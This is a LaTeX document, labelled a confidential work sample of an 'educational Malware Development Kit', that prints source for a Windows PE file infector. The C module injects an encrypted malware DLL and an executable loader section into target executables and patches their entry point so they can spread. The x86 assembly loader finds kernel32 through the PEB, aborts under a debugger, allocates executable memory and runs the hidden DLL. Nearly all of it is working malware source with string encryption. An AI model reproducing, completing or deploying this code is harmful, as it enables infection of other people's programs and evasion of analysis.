\documentclass{article} \usepackage[a4paper, total={7in, 9in}]{geometry} \usepackage[svgnames]{xcolor} \usepackage{listings} % Include the listings-package \usepackage{textcomp} \begin{document} \title{-VERTRAULICH- Arbeitsprobe MDK} \author{Toni Uhlig} \maketitle \begin{abstract} An educational [M]alware [D]evelopment [K]it. \end{abstract} \section{source code (parts)} pe\_infect.c \lstset{language=C, basicstyle=\ttfamily, keywordstyle=\color{blue}\ttfamily, stringstyle=\color{red}\ttfamily, commentstyle=\color{green}\ttfamily, morecomment=[l][\color{magenta}]{\#}, breaklines=true } \begin{lstlisting}[frame=single] % Start your code-block /* * Module: pe_infect.c * Author: Toni * Purpose: Parses/Modifies a windows portable executable. * Add sections, do image rebasing. * Inject data into sections. */ #include #include "utils.h" #include "compat.h" #include "log.h" #include "pe_infect.h" #include "mem.h" #include "file.h" #include "aes.h" #include "patch.h" static DWORD sectionAdr = 0x0; /* default dll image base */ #ifndef _MILLER_IMAGEBASE #define _MILLER_IMAGEBASE 0x10000000 #endif static DWORD imageBase = _MILLER_IMAGEBASE; static DWORD imageSize = 0x0; #include "xor_strings_gen.h" /* XOR encrypted strings */ _XORDATA_(dllsection, DLLSECTION); _XORDATA_(ldrsection, LDRSECTION); #include "aes_strings_gen.h" #include "loader_x86_crypt.h" /* AES encrypted byte buffer */ _AESDATA_(ldrdata, LOADER_SHELLCODE); _AESSIZE_(ldrsiz, ldrdata); static SIZE_T real_ldrsiz = LOADER_SHELLCODE_SIZE; inline void setImageBase(DWORD newBase) { imageBase = newBase; } inline DWORD getImageBase(void) { return imageBase; } inline void setImageSize(DWORD newSize) { imageSize = newSize; } inline DWORD getImageSize(void) { return imageSize; } inline void setSectionAdr(DWORD newAdr) { sectionAdr = newAdr; } inline DWORD getSectionAdr(void) { return sectionAdr; } BYTE* getLoader(SIZE_T* pSiz) { aes_ctx_t* ctx = aes_alloc_ctx((unsigned char*)LDR_KEY, LDR_KEYSIZ); BYTE* ldr = (BYTE*)aes_crypt_s(ctx, (char*)ldrdata, (size_t)ldrsiz, (size_t*)pSiz, FALSE); aes_free_ctx(ctx); return ldr; } SIZE_T getRealLoaderSize(void) { return real_ldrsiz; } inline BYTE* PtrFromOffset(BYTE* base, DWORD offset) { return ((BYTE*)base) + offset; } DWORD RvaToOffset(struct ParsedPE* ppPtr, DWORD dwRva) { PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; DWORD nSections = ppPtr->hdrFile->NumberOfSections; DWORD dwPos = 0; for (SIZE_T i = 0; i < nSections; ++i) { if (dwRva >= sections[i].VirtualAddress) { dwPos = sections[i].VirtualAddress; dwPos += sections[i].SizeOfRawData; } if (dwRva < dwPos) { dwRva = dwRva - sections[i].VirtualAddress; return dwRva + sections[i].PointerToRawData; } } return -1; } inline BYTE* RvaToPtr(struct ParsedPE* ppPtr, DWORD dwRva) { return PtrFromOffset(ppPtr->ptrToBuf, RvaToOffset(ppPtr, dwRva)); } DWORD OffsetToRva(struct ParsedPE* ppPtr, DWORD offset) { if (ppPtr->hdrFile->NumberOfSections <= 0 || ppPtr->hdrOptional->SizeOfHeaders > offset) return -1; PIMAGE_SECTION_HEADER sections = ppPtr->hdrSection; DWORD nSections = ppPtr->hdrFile->NumberOfSections; DWORD dwPos = sections[0].VirtualAddress + (offset - sections[0].PointerToRawData); for (SIZE_T i = 0; i < nSections; ++i) { if (offset < sections[i].PointerToRawData) { break; } dwPos = sections[i].VirtualAddress + (offset - sections[i].PointerToRawData); } return dwPos + ppPtr->hdrOptional->ImageBase; } inline DWORD PtrToOffset(struct ParsedPE* ppPtr, BYTE* ptr) { DWORD dwRva = (DWORD)ptr - (DWORD)ppPtr->ptrToBuf; return dwRva; } DWORD PtrToRva(struct ParsedPE* ppPtr, BYTE* ptr) { return OffsetToRva(ppPtr, PtrToOffset(ppPtr, ptr)); } BOOL bParsePE(BYTE* buf, const DWORD szBuf, struct ParsedPE* ppPtr, BOOL earlyStage) { ppPtr->valid = FALSE; /* check minimum size */ if (szBuf < sizeof(IMAGE_DOS_HEADER)+sizeof(IMAGE_FILE_HEADER)+sizeof(IMAGE_OPTIONAL_HEADER)+sizeof(IMAGE_SECTION_HEADER)) return FALSE; ppPtr->ptrToBuf = buf; ppPtr->bufSiz = szBuf; ppPtr->hdrDos = (PIMAGE_DOS_HEADER)buf; if (ppPtr->hdrDos->e_magic != IMAGE_DOS_SIGNATURE) /* MZ */ return FALSE; ppPtr->hdrFile = (PIMAGE_FILE_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)); ppPtr->hdrOptional = (PIMAGE_OPTIONAL_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(DWORD)+sizeof(IMAGE_FILE_HEADER)); if (ppPtr->hdrOptional->Magic != 0x010b) /* PE32 */ return FALSE; if (ppPtr->hdrFile->Machine !=0x014C) /* i386 */ return FALSE; ppPtr->hdrSection = (PIMAGE_SECTION_HEADER)(buf + ppPtr->hdrDos->e_lfanew + sizeof(IMAGE_NT_HEADERS)); ppPtr->dataDir = (PIMAGE_DATA_DIRECTORY)ppPtr->hdrOptional->DataDirectory; ppPtr->valid = TRUE; /* during initial image rebasing, dont execute stuff which needs a rebased image */ if (!earlyStage) { ppPtr->hasDLL = FALSE; ppPtr->hasLdr = FALSE; /* pointer to dll section */ STATIC_STR(dllsection); if ( (ppPtr->ptrToDLL = pGetSegmentAdr((char*)dllsection, TRUE, ppPtr, &(ppPtr->sizOfDLL))) != NULL ) ppPtr->hasDLL = TRUE; STATIC_STR(dllsection); /* pointer to loader section */ STATIC_STR(ldrsection); if ( (ppPtr->ptrToLdr = pGetSegmentAdr((char*)ldrsection, TRUE, ppPtr, &(ppPtr->sizOfLdr))) != NULL ) { ppPtr->loader86 = (loader_x86_data*)(ppPtr->ptrToLdr + getRealLoaderSize() - sizeof(struct loader_x86_data)); ppPtr->hasLdr = TRUE; } STATIC_STR(ldrsection); } return TRUE; } BOOL bAddSection(const char *sName, BYTE *sectionContentBuf, SIZE_T szSection, BOOL executable, struct ParsedPE *ppPtr) { /* Peering Inside the PE: https://msdn.microsoft.com/en-us/library/ms809762.aspx */ /* enough header space avail? */ if (ppPtr->hdrOptional->SizeOfHeaders < (ppPtr->hdrDos->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER) + ppPtr->hdrFile->SizeOfOptionalHeader + (ppPtr->hdrFile->NumberOfSections*sizeof(IMAGE_SECTION_HEADER))+sizeof(IMAGE_SECTION_HEADER))) { return FALSE; } /* Read the original fields of headers */ DWORD originalNumberOfSections = ppPtr->hdrFile->NumberOfSections; /* Create the new section */ DWORD pointerToLastSection = 0; DWORD sizeOfLastSection = 0; DWORD virtualAddressOfLastSection = 0; DWORD virtualSizeOfLastSection = 0; for(SIZE_T i = 0; i != originalNumberOfSections; ++i) { if (pointerToLastSection < ppPtr->hdrSection[i].PointerToRawData) { /* section alrdy exists? */ if ( strncmp((const char*)ppPtr->hdrSection[i].Name, sName, IMAGE_SIZEOF_SHORT_NAME) == 0) return FALSE; pointerToLastSection = ppPtr->hdrSection[i].PointerToRawData; sizeOfLastSection = ppPtr->hdrSection[i].SizeOfRawData; virtualAddressOfLastSection = ppPtr->hdrSection[i].VirtualAddress; virtualSizeOfLastSection = ppPtr->hdrSection[i].Misc.VirtualSize; } } /* if a symbol table (debug info) is present, pointerToLastSection might be wrong */ /* symbol table is usually stored _after_ the last section and retrieved via IMAGE_FILE_HEADER.PointerToSymbolTable */ if (ppPtr->bufSiz > pointerToLastSection + sizeOfLastSection) { pointerToLastSection = ppPtr->bufSiz; sizeOfLastSection = 0; } /* set new section header data */ IMAGE_SECTION_HEADER newImageSectionHeader; memset(&newImageSectionHeader, '\0', sizeof(IMAGE_SECTION_HEADER)); newImageSectionHeader.Misc.VirtualSize = szSection; memcpy(&newImageSectionHeader.Name, sName, strnlen(sName, sizeof(newImageSectionHeader.Name))); newImageSectionHeader.PointerToRawData = pointerToLastSection + sizeOfLastSection; newImageSectionHeader.PointerToRelocations = 0; newImageSectionHeader.SizeOfRawData = XMemAlign(szSection, ppPtr->hdrOptional->FileAlignment, 0); /* aligned to FileAlignment */ newImageSectionHeader.VirtualAddress = XMemAlign(virtualSizeOfLastSection, ppPtr->hdrOptional->SectionAlignment, virtualAddressOfLastSection); /* aligned to Section Alignment */ /* Loader is usually stored in an executable section, DLL in a readonly section. * The Loader does not execute code directly from section. * (see loader source for detailed info) */ newImageSectionHeader.Characteristics = (executable == TRUE ? IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_EXECUTE : IMAGE_SCN_MEM_READ); /* update FILE && OPTIONAL header */ ++ppPtr->hdrFile->NumberOfSections; ppPtr->hdrOptional->SizeOfImage = XMemAlign(newImageSectionHeader.VirtualAddress + newImageSectionHeader.Misc.VirtualSize, ppPtr->hdrOptional->SectionAlignment, 0); /* (re)allocate memory for _full_ pe image (including all headers, new section and section data) */ if (!(ppPtr->ptrToBuf = XReallocAbs(ppPtr->ptrToBuf, ppPtr->bufSiz, ppPtr->hdrOptional->SizeOfImage))) return FALSE; /* if everything is gone right, parsing should succeed */ if (!bParsePE(ppPtr->ptrToBuf, ppPtr->hdrOptional->SizeOfImage, ppPtr, FALSE)) { return FALSE; } /* copy new section header */ memcpy(&ppPtr->hdrSection[ppPtr->hdrFile->NumberOfSections-1], &newImageSectionHeader, sizeof(IMAGE_SECTION_HEADER)); /* copy new section data */ memcpy(ppPtr->ptrToBuf+newImageSectionHeader.PointerToRawData, sectionContentBuf, szSection); return TRUE; } static BOOL bFindMyself(struct ParsedPE* ppe, DWORD* pDwBase, DWORD* pDwSize) { SIZE_T siz = 0x0; DWORD startAdr = 0x0; /* Am I already in an infected binary? */ if (ppe->hasDLL) { startAdr = (DWORD)ppe->ptrToDLL; siz = ppe->sizOfDLL; } /* dirty workaround e.g. when started from rundll.exe */ if (!startAdr) { startAdr = getSectionAdr(); } if (!siz) { siz = getImageSize(); } /* check dwBase for valid memory region */ if (startAdr) { *pDwBase = startAdr; *pDwSize = siz; if (_IsBadReadPtr((void*)startAdr, siz) == TRUE) { *pDwBase = 0x0; *pDwSize = 0x0; LOG_MARKER } else return TRUE; } else LOG_MARKER return FALSE; } static struct ParsedPE* pParsePE(BYTE* buf, SIZE_T szBuf) { struct ParsedPE* ppe = calloc(1, sizeof(struct ParsedPE)); if (!ppe) { return NULL; } if (bParsePE(buf, szBuf, ppe, FALSE)) { return ppe; } free(ppe); return NULL; } static BOOL bInfectMemWith(BYTE* maliciousBuf, SIZE_T maliciousSiz, struct ParsedPE* ppe) { BOOL ret = FALSE; if (ppe) { if (bIsInfected(ppe)) { LOG_MARKER } else { STATIC_STR(dllsection); if (bAddSection((char*)dllsection, maliciousBuf, maliciousSiz, FALSE, ppe)) { ret = TRUE; } else LOG_MARKER STATIC_STR(dllsection); STATIC_STR(ldrsection); SIZE_T lsiz = 0; BYTE* l = getLoader(&lsiz); if (l && bAddSection((char*)ldrsection, l, lsiz, TRUE, ppe)) { ret = TRUE; } else LOG_MARKER; if (l) free(l); STATIC_STR(ldrsection); if (ret) { ret = bParsePE(ppe->ptrToBuf, ppe->bufSiz, ppe, FALSE); } } } else { LOG_MARKER } return ret; } BOOL bInfectFileWith(const char* sFile, BYTE* maliciousBuf, SIZE_T maliciousSiz) { BOOL ret = FALSE; BYTE* buf; SIZE_T szBuf; HANDLE hFile; if (!bOpenFile(sFile, FALSE, &hFile)) { LOG_MARKER return ret; } if (!bFileToBuf(hFile, &buf, &szBuf)) { LOG_MARKER _CloseHandle(hFile); return ret; } struct ParsedPE* ppe = pParsePE(buf, szBuf); if (ppe) { if (bInfectMemWith(maliciousBuf, maliciousSiz, ppe)) { if (bPatchNearEntry(ppe)) { if (bBufToFile(hFile, ppe->ptrToBuf, ppe->bufSiz)) { if (!bIsInfected(ppe)) { LOG_MARKER } else { ret = TRUE; } } } else { LOG_MARKER } } free(ppe); } else LOG_MARKER; free(buf); _CloseHandle(hFile); return ret; } BOOL bInfectWithMyself(const char* sFile) { BOOL ret = FALSE; BYTE* buf = NULL; SIZE_T szBuf; LPTSTR sFileMyself = calloc(sizeof(TCHAR), MAX_PATH+1); HANDLE hMyself; struct ParsedPE* ppe = NULL; if (!sFileMyself) { LOG_MARKER } else if (_GetModuleFileName(NULL, sFileMyself, MAX_PATH) == 0) { LOG_MARKER } else if (!bOpenFile(sFileMyself, TRUE, &hMyself)) { LOG_MARKER } else if (!bFileToBuf(hMyself, &buf, &szBuf)) { LOG_MARKER } else { ppe = pParsePE(buf, szBuf); } if (ppe) { /* find DLL (segment-)address and (segment-)size in current executable */ DWORD dwBase = NULL; DWORD dwSize = 0x0; if (!bFindMyself(ppe, &dwBase, &dwSize)) { LOG_MARKER } else { /* infect target executable (DLL and LOADER) * Remember: The Loader is always accessible by our DLL (AES encrypted). */ if (bInfectFileWith(sFile, (BYTE*)dwBase, dwSize)) { ret = TRUE; } else { LOG_MARKER } } free(ppe); } else LOG_MARKER; if (buf) free(buf); _CloseHandle(hMyself); free(sFileMyself); return ret; } BOOL bIsInfected(struct ParsedPE* ppPtr) { return (ppPtr->hasDLL && ppPtr->hasLdr); } void* pGetSegmentAdr(const char* sName, BOOL caseSensitive, struct ParsedPE* ppPtr, SIZE_T* pSegSiz) { DWORD result = 0; DWORD sSize = 0; if (!ppPtr->valid) return NULL; /* walk through sections and compare every name with sName */ for (DWORD idx = 0; idx < ppPtr->hdrFile->NumberOfSections; ++idx) { PIMAGE_SECTION_HEADER sec = &ppPtr->hdrSection[idx]; if ( (caseSensitive && strncmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) || strnicmp(sName, (const char *)sec->Name, IMAGE_SIZEOF_SHORT_NAME) == 0) { result = RvaToOffset(ppPtr, sec->VirtualAddress); sSize = sec->Misc.VirtualSize; break; } } if (result != 0) { /* check for valid RVA */ result += (DWORD)ppPtr->ptrToBuf; if (_IsBadReadPtr((void*)result, sSize)) { result = 0; } } if (pSegSiz) *pSegSiz = sSize; return (void*)result; } BOOL bDoRebase(void* dllSectionAdr, SIZE_T dllSectionSiz, void* dllBaseAdr) { struct ParsedPE ppe; if (!bParsePE(dllSectionAdr, dllSectionSiz, &ppe, TRUE)) return FALSE; /* find symbol relocations (.reloc section) */ DWORD dwBaseReloc = ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress; PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)RvaToPtr(&ppe, dwBaseReloc); PIMAGE_BASE_RELOCATION pRelocEnd = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + ppe.dataDir[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); /* We cant rely on getImageBase(), because variable imageBase might point to a faulty memory location. * * Rebasing is one of the first things to do! */ DWORD dllImageBase = _MILLER_IMAGEBASE; DWORD dwDelta = (DWORD)dllBaseAdr - dllImageBase; /* walk through all relocation entries and add delta to every entry */ while (pBaseReloc < pRelocEnd && pBaseReloc->VirtualAddress) { int count = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); WORD* wCurEntry = (WORD*)(pBaseReloc + 1); void *pPageVa = (void *)((PBYTE)dllBaseAdr + pBaseReloc->VirtualAddress); for (int i = 0; i < count; i++) { if (wCurEntry[i] >> 12 == IMAGE_REL_BASED_HIGHLOW) { *(DWORD *)((PBYTE)pPageVa + (wCurEntry[i] & 0x0fff)) += dwDelta; } } pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock); } return TRUE; } \end{lstlisting} \newpage loader\_x86.asm \lstset{language={[x86masm]Assembler}} \begin{lstlisting}[frame=single] % Start your code-block ; Module: loader_x86.asm ; Author: Toni ; Purpose: 1. get kernel32.dll base address ; 2. get required function ptr ; 3. allocate virtual memory (heap) ; 4. copy sections from dll ; 5. run minimal crt at AddressOfEntry %ifndef _LDR_SECTION %error "expected _LDR_SECTION to be defined" %endif SECTION _LDR_SECTION GLOBAL __ldr_start ; const data offsets ESI_PTRDLL EQU 0x00 ; PtrToDLL ESI_SIZDLL EQU 0x04 ; SizeOfDLL ; STACK STACKMEM EQU 0x38 ; reserve memory on stack (main routine) ; stack offsets OFF_STRRPTR EQU 0x00 ; string 'IsBadReadPtr' OFF_STRVALLOC EQU 0x04 ; string 'VirtualAlloc' OFF_KERNEL32 EQU 0x08 ; KERNEL32 base address OFF_PROCADDR EQU 0x0c ; FuncPtrGetProcAddress OFF_VALLOC EQU 0x10 ; FuncPtrVirtualAlloc OFF_BADRPTR EQU 0x14 ; FuncPtrIsBadReadPtr OFF_ADROFENTRY EQU 0x18 ; AddressOfEntryPoint OFF_IMAGEBASE EQU 0x1c ; DLL ImageBAse OFF_SIZOFIMAGE EQU 0x20 ; DLL SizeOfImage OFF_SIZOFHEADR EQU 0x24 ; DLL SizeOfHeaders OFF_FSTSECTION EQU 0x28 ; DLL FirstSection OFF_NUMSECTION EQU 0x2c ; DLL NumberOfSections OFF_VALLOCBUF EQU 0x30 ; buffer from VirtualAlloc ; for vegetarians only %define DEADBEEF 0xde,0xad,0xbe,0xef %define CAFEBABE 0xca,0xfe,0xba,0xbe %define DEADC0DE 0xde,0xad,0xc0,0xde ; safe jump (so we can jump to the start of our loader buffer later) jmp near __ldr_start db CAFEBABE db 0x66,0x66,0x66,0x66 ; unused byte padding (0xCA is a valid opcode) ; Calculate a 32 bit hash from a string (non-case-sensitive) ; arguments: esi = ptr to string ; ecx = bufsiz ; modifies : eax, edi ; return : 32 bit hash value in edi __ldr_calcStrHash: xor edi,edi __ldr_calcHash_loop: xor eax,eax lodsb ; read in the next byte of the name cmp al,'a' ; some versions of Windows use lower case module names jl __ldr_calcHash_not_lowercase sub al,0x20 ; if so normalise to uppercase __ldr_calcHash_not_lowercase: ror edi,13 ; rotate right our hash value add edi,eax ; add the next byte of the name to the hash loop __ldr_calcHash_loop ret ; Get base address of kernel32.dll (alternative way through PEB) ; arguments: - ; modifies : eax, ebx ; return : base addres in eax __ldr_getModuleHandleKernel32PEB: ; see http://www.rohitab.com/discuss/topic/38717-quick-tutorial-finding-kernel32-base-and-walking-its-export-table ; and http://www.rohitab.com/discuss/topic/35251-3-ways-to-get-address-base-kernel32-from-peb mov eax,[fs:0x30] ; PEB %ifndef _DEBUG ; check if we ware beeing debugged xor ebx,ebx mov bl,[eax + 0x2] ; BeeingDebugged test bl,bl jnz __ldr_getModuleHandleKernel32PEB_fail ; PEB NtGlobalFlag == 0x70 ? ; see http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet xor ebx,ebx mov bl,[eax + 0x68] cmp bl,0x70 je __ldr_getModuleHandleKernel32PEB_fail %endif mov eax,[eax+0x0c] ; PEB->Ldr mov eax,[eax+0x14] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry) mov ebx,eax xor ecx,ecx __ldr_getModuleHandleKernel32PEB_loop: pushad mov esi,[ebx+0x28] ; Flink.ModuleName (16bit UNICODE) mov ecx,0x18 ; max module length: 24 -> len('kernel32.dll')*2 call __ldr_calcStrHash cmp edi,0x6A4ABC5B ; pre calculated module name hash of 'kernel32.dll' popad mov ecx,[ebx+0x10] ; get base address mov ebx,[ebx] jne __ldr_getModuleHandleKernel32PEB_loop mov eax,ecx ret __ldr_getModuleHandleKernel32PEB_fail: xor eax,eax ret ; Get Address of GetProcAddress from module export directory ; arguments: eax = kernel32 base address ; modifies : eax, ebx, ecx, edi, edx, esi ; return : eax __ldr_getAdrOfGetProcAddress: mov ebx,eax add ebx,[eax+0x3c] ; PE header mov ebx,[ebx+0x78] ; RVA export directory add ebx,eax mov esi,[ebx+0x20] ; RVA Export Number Table add esi,eax ; VA of ENT mov edx,eax ; remember kernel base xor ecx,ecx __ldr_getAdrOfGetProcAddress_loop: inc ecx lodsd ; load dword from esi into eax add eax,edx ; add kernel base pushad mov esi,eax ; string mov ecx,14 ; len('GetProcAddress') call __ldr_calcStrHash cmp edi,0x1ACAEE7A ; pre calculated hash of 'GetProcAddress' popad jne __ldr_getAdrOfGetProcAddress_loop dec ecx mov edi,ebx mov edi,[edi+0x24] ; RVA of Export Ordinal Table add edi,edx ; VA of EOT movzx edi,word [ecx*2+edi] ; ordinal to function mov eax,ebx mov eax,[eax+0x1c] ; RVA of Export Address Table add eax,edx ; VA of EAT mov eax,[edi*4+eax] ; RVA of GetProcAddress add eax,edx ; VA of GetProcAddress ret ; Get function pointer by function name ; arguments: ebx = base address of module ; ecx = string pointer to function name ; modifies : eax ; return : address in eax __ldr_getProcAddress: mov eax,[ebp + OFF_PROCADDR] ; ptr to GetProcAddress(...) push ecx push ebx call eax ret ; Check if pointer is readable ; arguments: ebx = pointer ; ecx = size ; modifies : eax ; return : [0,1] in eax __ldr_isBadReadPtr: push ecx push ebx mov eax,[ebp + OFF_BADRPTR] ; PtrIsBadReadPtr call eax ret ; Allocate virtual memory in our current process space ; arguments: ebx = preffered address ; ecx = size of memory block ; modifies : eax ; return : ptr in eax __ldr_VirtualAlloc: push ecx ; save size for a possible second call to VirtualAlloc(...) push dword 0x40 ; PAGE_EXECUTE_READWRITE push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT push ecx push ebx mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc call eax test eax,eax pop ecx jnz __ldr_VirtualAlloc_success ; base address already taken push dword 0x40 ; PAGE_EXECUTE_READWRITE push dword 0x3000 ; MEM_RESERVE | MEM_COMMIT push ecx xor eax,eax push eax mov eax,[ebp + OFF_VALLOC] ; PtrVirtualAlloc call eax __ldr_VirtualAlloc_success: ret ; Read DLL PE header from memory ; arguments: ebx = ptr to memory ; modifies : eax, ecx, edx ; return : [0,1] in eax __ldr_ReadPE: ; check dos magic number xor ecx,ecx mov cx,[ebx] cmp cx,0x5a4d ; Magic number (DOS-HEADER) jne near __ldr_ReadPE_fail ; e_lfanew mov ecx,ebx add ecx,0x3c ; OFFSET: e_lfanew mov eax,[ecx] ; e_lfanew add eax,ebx ; [e_lfanew + ptr] = NT-HEADER mov ecx,eax ; *** save NT-HEADER in ECX *** ; check pe magic number xor eax,eax mov eax,[ecx] cmp ax,0x4550 ; 'EP' -> 'PE' jne __ldr_ReadPE_fail ; check opt header magic mov eax,ecx add eax,0x18 ; [NT-HEADER + 0x18] = opt header magic mov edx,eax xor eax,eax mov ax,[edx] cmp ax,0x010b ; 0x010b = PE32 jne short __ldr_ReadPE_fail ; entry point VA mov eax,ecx add eax,0x28 mov eax,[eax] mov [ebp + OFF_ADROFENTRY],eax ; get image base && image size mov eax,ecx add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase mov eax,[eax] test eax,eax ; check if ImageBase is not NULL jz short __ldr_ReadPE_fail mov [ebp + OFF_IMAGEBASE], eax mov eax,ecx add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage mov eax,[eax] test eax,eax jz short __ldr_ReadPE_fail ; check if ImageSize is not zero mov [ebp + OFF_SIZOFIMAGE], eax ; get size of headers mov eax,ecx add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders mov eax,[eax] test eax,eax jz short __ldr_ReadPE_fail mov [ebp + OFF_SIZOFHEADR], eax ; get number of sections mov edx,ecx add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections xor eax,eax mov ax,[edx] test eax,eax jz short __ldr_ReadPE_fail mov [ebp + OFF_NUMSECTION], eax ; get ptr to first section mov edx,ecx add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders xor eax,eax mov ax,[edx] mov edx,eax mov eax,ecx add eax,0x18 add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection mov [ebp + OFF_FSTSECTION], eax ; return true mov eax,1 ret __ldr_ReadPE_fail: xor eax,eax ret ; Copies n bytes memory from source to dest ; arguments: ebx = dest ; ecx = size ; edx = source ; modifies : eax, edi ; return : eax __ldr_memcpy: xor edi,edi xor eax,eax __ldr_memcpy_loop0: mov al,[edx + edi] mov [ebx + edi],al inc edi loop __ldr_memcpy_loop0 ret __ldr_start: ; new stack frame push ebp ; save gpr+flag regs pushad pushfd ; GET POINTER TO CONST DATA jmp near __ldr_ConstData __ldr_gotConstData: pop esi ; pointer to const data in ESI ; RESERVE STACK memory sub esp, STACKMEM mov ebp, esp ; backup ptr for subroutines call __ldr_getModuleHandleKernel32PEB ; module handle in eax mov [ebp + OFF_KERNEL32],eax test eax,eax ; check if module handle is not NULL jz __ldr_end push esi call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax mov [ebp + OFF_PROCADDR],eax pop esi jmp short _string_VirtualAlloc _got_VirtualAlloc: pop eax mov [ebp + OFF_STRVALLOC],eax jmp short _string_IsBadReadPtr _got_IsBadReadPtr: pop eax mov [ebp + OFF_STRRPTR],eax jmp _strings_done ; strings _string_VirtualAlloc: call _got_VirtualAlloc db 'VirtualAlloc',0x00 _string_IsBadReadPtr: call _got_IsBadReadPtr db 'IsBadReadPtr',0x00 ; unused byte padding (we are reading data from code section) db 0x90,0x90,0x90,0x90,0x90 _strings_done: ; *** STACK LAYOUT *** ; [ebp] = 'IsBadReadPtr' | [ebp + 0x4] = 'VirtualAlloc' ; [ebp + 0x8] = Kernel32Base | [ebp + 0xc] = PtrGetProcAddress ; [ebp + 0x10] = PtrVirtualAlloc | [ebp + 0x14] = PtrIsBadReadPtr ; [ebp + 0x18] = NT-HEADER | [ebp + 0x1c] = AddressOfEntryPoint ; [ebp + 0x20] = ImageBase | [ebp + 0x24] = SizeOfImage ; [ebp + 0x28] = SizeOfHeaders | [ebp + 0x2c] = FirstSection ; [ebp + 0x30] = NumberOfSections | [ebp + 0x34] = vallocBuf ; [ebp + 0x38] = needBaseReloc ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc') mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE mov ecx, [ebp + OFF_STRVALLOC] call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc mov [ebp + OFF_VALLOC], eax ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr') mov ecx, [ebp + OFF_STRRPTR] call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr mov [ebp + OFF_BADRPTR], eax ; check if malware dll pointer is valid mov ebx, [esi + ESI_PTRDLL] mov ecx, [esi + ESI_SIZDLL] call __ldr_isBadReadPtr test eax,eax jnz __ldr_end ; read dll pe header (ebx = PtrToDLL) call __ldr_ReadPE cmp al,0x1 jne __ldr_end ; VirtualAlloc(...) mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL) mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL) call __ldr_VirtualAlloc ; eax holds pointer to allocated memory test eax,eax jz __ldr_end mov [ebp + OFF_VALLOCBUF],eax ; copy header mov ebx,eax ; dest mov ecx,[ebp + OFF_SIZOFHEADR] ; size mov edx,[esi + ESI_PTRDLL] ; src call __ldr_memcpy ; copy sections mov ecx,[ebp + OFF_NUMSECTION] mov ebx,[ebp + OFF_FSTSECTION] __ldr_section_copy: mov edx,ebx add edx,0xc ; RVA of section[i] mov edx,[edx] add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i] mov edi,ebx add edi,0x10 mov edi,[edi] ; SizeOfRawData mov eax,ebx add eax,0x14 mov eax,[eax] add eax,[esi + ESI_PTRDLL] ; copy one section pushad mov ebx,edx mov ecx,edi mov edx,eax call __ldr_memcpy popad ; next add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER) loop __ldr_section_copy ; move arguments to registers mov eax,[ebp + OFF_ADROFENTRY] add eax,[ebp + OFF_VALLOCBUF] push eax ; MALWARE-CRT adr (AddressOfEntry) ; arguments mov ebx,0xdeadbeef ; identificator mov eax,[esi + ESI_PTRDLL] ; save dll section address on stack mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr mov esi,[esi + ESI_SIZDLL] ; size of dll mov ecx,[ebp + OFF_PROCADDR] mov edx,[ebp + OFF_KERNEL32] call [esp] ; call AddressOfEntry (MALWARE-CRT) pop ecx __ldr_end: ; CLEANUP STACK add esp,STACKMEM ; restore old gpr+flag regs popfd popad ; cleanup stack frame pop ebp ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected ; replaceable nops (15 bytes max instruction length for x86/x86_64) nop nop nop nop nop nop nop nop nop nop nop nop nop nop nop ; `jump back` nops nop nop nop nop nop ; return if call'd ret ; CONSTS MODIFIED BY THE MALWARE __ldr_ConstData: call near __ldr_gotConstData db DEADBEEF ; Pointer to MALWARE DLL db DEADBEEF ; Size of MALWARE DLL db DEADC0DE ; unused, end marker \end{lstlisting} \end{document}